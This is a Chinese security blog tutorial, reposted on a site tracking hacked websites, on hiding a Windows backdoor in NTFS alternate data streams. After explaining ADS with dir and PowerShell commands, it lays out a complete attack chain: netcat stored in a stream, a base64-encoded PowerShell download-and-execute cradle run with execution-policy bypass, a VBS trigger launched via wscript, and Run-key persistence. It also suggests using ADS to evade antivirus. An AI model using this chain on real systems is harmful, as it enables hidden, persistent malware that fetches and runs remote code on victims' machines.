一个用ADS(供选数据流)隐藏Windows后门的方法


发布人:admin分类:网络安全浏览量:40发布时间:2017-12-12

1 引言

隐藏windows病毒文件有很多方法,比如伪装成一个系统文件,或者取一个与系统文件很像的文件名例如svch0st.exe并且将其放在system32目录下。或者hook一些api并拦截其显示功能。这里介绍另一种方法,把一个后门隐藏在ADS (供选数据流/ alternate data stream)里面。请注意从win XP以后,微软已经禁止用户从ADS里直接执行程序,最近从Enigma0x3学到一个新的方法可以绕过这个限制。而且这个方法并不需要admin权限。

*顺便提一句,国内大多数文章把 alternate data stream 翻译为交换数据流。但是我个人认为ADS应该翻译为 供选数据流才更加合适一点。^_^

2 ADS (供选数据流/ alternate data stream)

NTFS使用Master File Table (MFT) 来管理文件。windows系统中的每个文件都对应一个MFT记录。而每一个MFT记录由若干个属性(attribute)组成,用来描述该文件的具体信息。比如 $FILE_NAME 属性描述了该文件的文件名和创建修改访问时间,而$DATA属性包含了该文件的具体内容。

举个例子,我现在有一个文本文件,名称为test.txt,文本内容为”Hello, world!”。

一个用ADS(供选数据流)隐藏Windows后门的方法

其MFT记录结构如图,$FILE_NAME属性包含了该文件名test.txt。 $DATA属性则包含了内容 “Hello, world!”。这里说个题外话,由于该内容长度小于1kb,所以文件的内容就直接存储在MFT记录里面了(称为resident)。如果内容长度大于1kb,文件内容会被存储在别的地方 (称为non-resident),在这种情况下$DATA属性只包含其存储地址。这里“Hello, world!”很短,所以直接保存在了MFT记录里面。

很多人想当然的认为一个文件只能有一个$DATA属性,这是错误的。在NTFS中,一个文件可以有多个$DATA属性。比如我现在想给test.txt加入一个名为ThisIsAnADS的$DATA属性:

c:\test>echo Hello, freebuf! > test.txt:ThisIsAnADS

那么,该文件的MFT记录就变成了下图所示

一个用ADS(供选数据流)隐藏Windows后门的方法

你可能发现了这两个$DATA属性还是略有不同的,第一个没有名称,而第二个有名称(ThisIsAnADS)!通常人们称第一个为主数据流(primary data stream )。主数据流在文件创建的同时就被创建了,并且默认没有名称,所以也叫做未名数据流 (unnamed data stream)。第二个是我们后来创建的,并且赋予了名称(ThisIsAnADS)。这个就是供选数据流 (alternate data stream,ADS)。绝大多数用户只会和主数据流打交道,从某种意义上来说,ADS对用户是隐藏的。用常规的dir命令和windows文件管理器都没法发现ADS。而当我们查看文件内容的时候也仅仅显示主数据流的内容。

c:\test>dir test.txt
Volume in drive C is OS
Volume Serial Number is F467-BAF0
 
Directory of c:\test
 
2015-07-26  10:29                13 test.txt
1 File(s)             13 bytes
0 Dir(s)  42 991 456 256 bytes free
 
c:\test>type test.txt
Hello, world!

看!dir和type命令只显示了主数据流的长度和内容。但是我们可以使用dir /r 命令来列出ADS

c:\test>dir /r test.txt
Volume in drive C is OS
Volume Serial Number is F467-BAF0
 
Directory of c:\test
 
2015-07-26  10:29                13 test.txt
18 test.txt:ThisIsAnADS:$DATA
1 File(s)             13 bytes
0 Dir(s)  42 991 382 528 bytes free

我们也可以用powershell命令Get-Content来查看ADS的内容

PS C:\test> Get-Content test.txt -stream ThisIsAnADS
Hello, freebuf!
PS C:\test>

也许你会问,那ADS到底有什么作用哪?在实际应用中,操作系统和某些应用程序会用ADS来标记和分类文件,比如某些杀毒软件会用ADS来标记哪些文件已经被检查过了(也许我们可以自己设置ADS的内容来避免被查杀?)。IE还会用ADS来标记那些从Internet下载下来的文件。正好我刚下载了一个netcat, 查看一下nc.exe

c:\test>dir /r nc.exe
Volume in drive C is OS
Volume Serial Number is F467-BAF0
 
Directory of c:\test
 
2011-09-17  00:52            38 616 nc.exe
26 nc.exe:Zone.Identifier:$DATA
1 File(s)         38 616 bytes
0 Dir(s)  30 734 065 664 bytes free

有一个名为Zone.Identifier的ADS! 查看一下它的内容:

PS C:\test> Get-Content nc.exe -stream Zone.Identifier
[ZoneTransfer]
ZoneId=3
PS C:\test>

ZoneID=3表示这个文件来自Internet Zone。所以每次运行nc.exe,系统知道这个文件来自Internet,然后就会弹出一个警告

一个用ADS(供选数据流)隐藏Windows后门的方法

3 用ADS隐藏后门

既然ADS不被大多数用户所知,而且常规的系统命令和文件管理器都检查不到其存在,那么我们可以把后门放在ADS以起到隐藏的目的。让我们先试着把netcat的二进制内容存到test.txt的一个叫nc.exe的ADS里面

c:\test>type nc.exe > test.txt:nc.exe
 
c:\test>dir /r test.txt
Volume in drive C is OS
Volume Serial Number is F467-BAF0
 
Directory of c:\test
 
2015-07-26  11:19                13 test.txt
38 616 test.txt:nc.exe:$DATA
18 test.txt:ThisIsAnADS:$DATA
1 File(s)             13 bytes
0 Dir(s)  42 990 366 720 bytes free

可以写入,没有问题。试着执行之

c:\test>start test.txt:nc.exe
Access is denied.

但是执行不成功。。。因为从windows xp以后微软就禁止用户从ADS里执行程序了。写入,读出操作都可以,但是不允许执行。

换一个思路,既然允许写和读,那么我们可以在ADS里面写入脚本,然后用脚本解释器(Wscript.exe)来运行该脚本。Wscript.exe默认支持js, vbs等,但是我更偏爱powershell的简单高效。所以准备在一个文件中写入2个ADS,一个包含powershell脚本后门,用于从网上下载和执行恶意脚本。一个包含VBS脚本,用于触发powershell脚本。具体设计如下图,包括3部分

一个用ADS(供选数据流)隐藏Windows后门的方法

1. 恶意脚本一个提供真正的恶意功能的powershell脚本,比如反弹cmd shell等等,具体如何用powershell实现远控功能,请参照https://github.com/mattifestation/PowerSploit。 这里为了演示的目的,我们的”恶意脚本”只会弹出一个对话框,显示”Infected”。该文件名为malware.ps1,存放于 http://127.0.0.1:8123/malware.ps1

2. 下载器该下载器也是一段powershell脚本,用来下载并执行恶意脚本。其实就一句话 “IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8123/malware.ps1&#039 ;) );” 我们把它base64编码[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“IEX ((New-Object Net.WebClient).DownloadString('http://127.0.0.1:8123/malware.ps1&#039 ;) );”))得到base64编码结果。然后把 powershell.exe -ep Bypass -noexit -enc [base64编码结果] 写入test.txt:1

3. 触发器该触发器是一段VB脚本,会开一个cmd运行test.txt:1 里的脚本。由于我们要用wscript.exe 来运行这个ADS, 而wscript.exe会检查脚本文件的后缀名,所以这个ADS的命名必须以.vbs结尾。 具体内容为 Dim objShell:Set objShell = WScript.CreateObject(“WScript.Shell”):command = “cmd /C for /f “”delims=,”" %i in (C:\\test\\test.txt:1) do %i”:objShell.Run command, 0:Set objShell = Nothing,将其写入test.txt:2.vbs

一个用ADS(供选数据流)隐藏Windows后门的方法

用wscript.exe运行一下,成功!进程管理器显示该进程名为powershell.exe

一个用ADS(供选数据流)隐藏Windows后门的方法

当然,还可以把wscript.exe test.txt:2.vbs 放在注册表与自动启动相关的键值里,比如HKCU\Software\Microsoft\Windows\CurrentVersion\Run 等,以实现开机自启动。

在这个例子里,我们把ADS加在了一个文本文件(test.txt)上。其实在NTFS中,目录和文件的MFT记录结构是一样的。所以我们也可以把ADS加在目录上,比如$env:UserProfile\AppData 。


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21204969(PV) 页面执行时间:60.359(MS)
  • xml
  • 网站地图